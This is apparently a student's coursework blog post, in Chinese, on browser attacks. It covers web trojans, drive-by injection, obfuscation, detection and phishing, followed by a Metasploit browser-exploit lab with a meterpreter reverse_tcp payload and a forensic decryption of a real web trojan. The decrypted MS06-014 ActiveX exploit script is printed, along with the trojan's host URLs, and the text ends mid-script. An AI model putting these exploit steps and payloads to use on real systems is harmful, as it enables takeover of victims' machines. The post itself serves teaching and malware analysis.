20199320 2019-2020-2 《网络攻防实践》第12周作业
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756 |
我在这个课程的目标是 | 掌握网络攻防知识及操作 |
这个作业在哪个具体方面帮助我实现目标 | 掌握客户端的Web浏览器上存在的安全威胁和攻击技术,包括网页木马、网络钓鱼。 |
一、知识点总结
1.1 现代Web浏览器基本结构与机理
-
现代浏览器的基本结构
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,还采用各种扩展机制允许第三方开发一些插件,通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来丰富计算机功能。
1.2 Web浏览的安全问题与威胁
-
Web浏览器软件的安全困境三要素
- 复杂性:现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
- 可扩展性:第三方扩展插件的开发过程更缺乏安全保证;插件一般不具备自动更新的机制。
- 连通性:浏览器始终工作在联网状态,一旦存在安全漏洞,很容易被利用。
-
Web浏览安全威胁位置
1.3 Web浏览器的渗透攻击威胁——网页木马
-
网页木马发展的驱动力——黑客地下经济链
- 病毒编写者:有一定编程能力,能获取漏洞和相应攻击代码,出售自己开发的破解工具或木马程序并获利。
- 黑站长/网络骇客:攻击知名但有漏洞的网站,出售其访问流量。
- “信封”盗窃者:“信封”指盗窃的帐号和密码,“信封”盗窃者只需购买病毒编写者的木马程序和黑站长/网络骇客的访问流量,构建网页木马程序,从而获取“信封”。
- 虚拟资产盗窃者:可以没有任何技术知识,但对地下经济链有深入了解,通过购买“信封”,登录网游或QQ盗取虚拟资产,并贩卖。
- 虚拟资产卖家:购买虚拟资产,向玩家出售从中获利。构成了产业链的流通。
- 玩家:购买虚拟资产打游戏,构成了地下经济链的基础。
-
网页木马存在的技术基础——Web浏览端安全漏洞
- 网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身、浏览器插件、关联某些Web文件的应用程序等。
- 除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞。
- 一些影响范围广的安全漏洞,如MS06-014, 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机。
-
网页木马的机理分析
网页木马的定义特性
网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
网页木马的机理
-
网页木马的本质核心——浏览器渗透攻击
-
VBScript
编写的MS06-014
网马通过
VBScript
所提供的创建ActiveX
对象、调用ActiveX提供方法随即完成了攻击目的,这也是不安全方法类安全漏洞利用的常见模式。 -
JavaScript
语言实现的ANI光标漏洞网马利用堆内存操纵(
Heapspray
)技术,首先通过构造字符串数组的方式在堆内存空间中“堆砌”出包含大段空字节着陆区(Sledge
,即代码中的spraySlide
字符串)和Shellcode
(即代码中的payloadCode
字符串)的恶意代码指令空间来,然后利用内存安全违规类漏洞将指向“堆砌”堆内存空间的地址装载入EIP指令寄存器中,使得攻击目标软件转而去执行堆中的Shellcode
, ANI 光标漏洞网马中即通过特殊构造的ANI光标图片文件,利用系统在渲染畸形的光标文件时没有正确验证文件头部中所指定的文件大小,从而导致数据缓冲区溢出导致执行“0x04040404"位置的堆内存中恶意指令。
-
-
网页挂马机制
网页挂马含义:为使用户访问网页木马,攻击者将网页木马挂接到有访问流量的网站页面上的过程称为网页挂马。
网页挂马机制策略
-
内嵌HTML标签
在实际中最常用于网页挂马的内嵌标签为iframe,如
-
恶意Script脚本
利用script 脚本标签通过外部引用脚本的方式来包含网页木马,例如,
.跳转脚本通常使用
document.write
动态生成包含网页木马链接的iframe 内嵌标签,或者比较少见的windows.open
函数弹出一个新的HTML窗口链接网页木马进行攻击。 -
内嵌对象链接
利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,如Flash中的
LoadMovie(
)方法等。这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马的危害后果。 -
ARP欺骗挂马
在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。
-
-
混淆机制
- 为躲避反病毒检测,攻击者利用Web客户端脚本语言的灵活机制对网页木马进行混淆处理。
- 混淆方法
- 将代码重新排版,同时将网页木马中的变量名替换为一组合法的随机字符串, 使其失去自我描述的能力,从而干扰阅读分析。
- 编码混淆。
- 通过加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用
document.write()
或eval()
进行动态输出或执行。 - 利用字符串运算、数学运算或特殊函数混淆代码。
- 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
- 混淆工具:tools88.com 上包含了Monyer个人js加解密、老外js加解密、代码编码与反编码、MD5加密网页、冰狐浪子脚本工具、JS代码混淆、Unicode 加解密、encode 加解密等数十种网页加密与混淆工具。
- 对抗混淆工具:混淆机制支持辅助分析网页木马攻击的工具软件,如
Freshow
、Malzilla
等。
-
网页木马的检测与分析技术
-
基于特征码匹配的传统检测方法
攻击者利用混淆机制和对抗分析技术躲避反病毒软件的检测,使得特征码匹配这一方法检测率不高。
-
基于统计与机器学习的静态分析方法
该类方法实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,仍然停留在外在形态层次上,同时随着脚本代码混淆技术在源代码版权保护等正常渠道中的广泛应用,这类未能针对网页木马本质特征的检测方法也将造成大量的误报情况,不适用于实际场景。
-
基于动态行为结果判定的检测分析方法
这种方法利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。具有低误报率、抵抗混淆的优势。
-
基于模拟浏览器环境的动态分析检测方法
构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒检测方法对网页木马进行分析和检测。
工具:The Honeynet Project 的PHoneyC、UCSB的JSAND系统及其提供的wepawet在线分析服务,在PHoneyC基础上完成的基于网页动态视图检测方法等。
另外,网页木马通常使用包含Heapspray型Shellcode 的渗透代码,因此通过模拟执行的方法检测网页脚本中的Shellcode也成为一种可行的网页木马检测技术方案,如Egele等人通过对SpiderMonkey引擎进行源码插装进行网页木马Shellcode 探测,笔者也提出了基于脚本Opcode动态插装的Heapspray型网页木马检测方法。
-
-
网页木马防范措施
- 不断更新操作系统;
- 安装并更新反病毒软件;
- 借助工具避免访问可能遭遇挂马的网站;
- 避开网页木马通常攻击的对象,如:安装Mac OS/Linux操作系统,并使用Chrome、 Safari、 Opera等冷门浏览器进行上网。
1.4 网络钓鱼(phishing)
-
网络钓鱼技术概述
攻击者通过发送大量精心设计的、与目标网站相似的钓鱼网站的垃圾邮件,引诱收信人给出个人敏感信息。
-
网络钓鱼攻击的普遍技术流程
- 攻击者扫描网段,寻找存有漏洞的服务器;
- 服务器被攻陷,并被安装一个Rootkit 或口令保护的后门工具;
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
网络钓鱼攻击的防范
- 业界通过协作机制和技术手段来遏制网络钓鱼攻击;
- 网民们提高安全警惕,不轻易相信并打开邮件中的链接,利用浏览器的反钓鱼提示,进行金融操作提高安全意识,提升抵抗社会工程学攻击的能力。
二、实践内容和实践过程
2.1 动手实践——Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实
施浏览器攻击的实际过程。
实验环境
- 攻击机:kali(192.168.200.4)使用其中安装的Metasploit渗透攻击框架软件。
- 靶机:Windows 2KS(192.168.200.124)。
实验步骤
-
kali中输入
msfconsole
启动kali
里面的msfconsole
; -
选择渗透攻击模块
-
设置攻击服务器地址,执行
set LHOST 192.168.200.4
。 -
设置负载模块
set payload windows/meterpreter/reverse_tcp
。 -
可见恶意服务器建立。
-
可见暂时活跃的会话有6-10号,选择6号连接id对应的session ,并且出现一个可交互的shell,执行
ipconfig
查询靶机ip验证是否获取到靶机远程控制权限,如图:
2.2 取证分析实践:剖析一个实际的网页木马攻击场景
任务:根据下面说明逐步分析,得到最终的木马文件内容。
首先你应该访问start.html, 在这个文件中给出了new09.htm 的地址,在进入
new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到
http://netsec.ccert.edu.cn/hacking/日录( 或者附带资料中的解压缩数据目录)下去下载对应
的文件(注意:文件名中的英文字母为小写,且没有扩展名), 即为解密出的地址对应的
文件。如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二
进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完
成。请注意:被散列的文件地址应该是标准的URL形式,形如http://.18dd.net/a/b.htm,
否则会导致散列值计算不正确而无法继续。
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2.网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下
载了哪些程序?这些程序又是起什么作用的? (请举例分析)
这里使用浏览器打不开,FreShow也出错,只能参考实验指导书的代码来分析。
-
首先访问
http://192.168.68.253/scom/start.html
下的start.html文件,查找new09.htm
,找到两处:urlresult="new09.htm";
从这两处可以看出
start.html
文件在引用new09.htm
文件时没有写绝对路径,所以new09.htm
文件与start.html
文件在同一目录下。所以访问http://192.168.68.253/scom/new09.htm
。可以看到 new09.htm 文件中,用 iframe 引用了一个
http://aa.18dd.net/aa/kl.htm
文件,又用 javascript 引用了一个http://js.users.51.la/1299644.js
文件。 -
我们对它们分别作32位的 MD5 散列,如下:
MD5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3 MD5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3
下载这两个文件:
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
-
打开后者,内容如下:
// 本文件内容是流量统计代码,不是木马
这显然不是我们所想要的内容。
-
打开第一个文件,它的内容看起来很复杂,但实际上这是一种被称为
XXTEA+Base64
的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。在文件中找到下面的语句:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
xxtea_decrypt
函数的第二个参数就是密钥。加密者果然老奸巨滑,连密钥也被处理过,不过只是简单地使用了 16 进制加密。转换一下,密钥是“script
”。 -
访问
http://www.cha88.cn/safe/xxtea.php
,在密钥一栏中填入“script
”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,文本框的内容变为全是十六进制,即加密者又用了另一种加密方法,也就是十六进制加密,对引号内的内容解密,得:function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("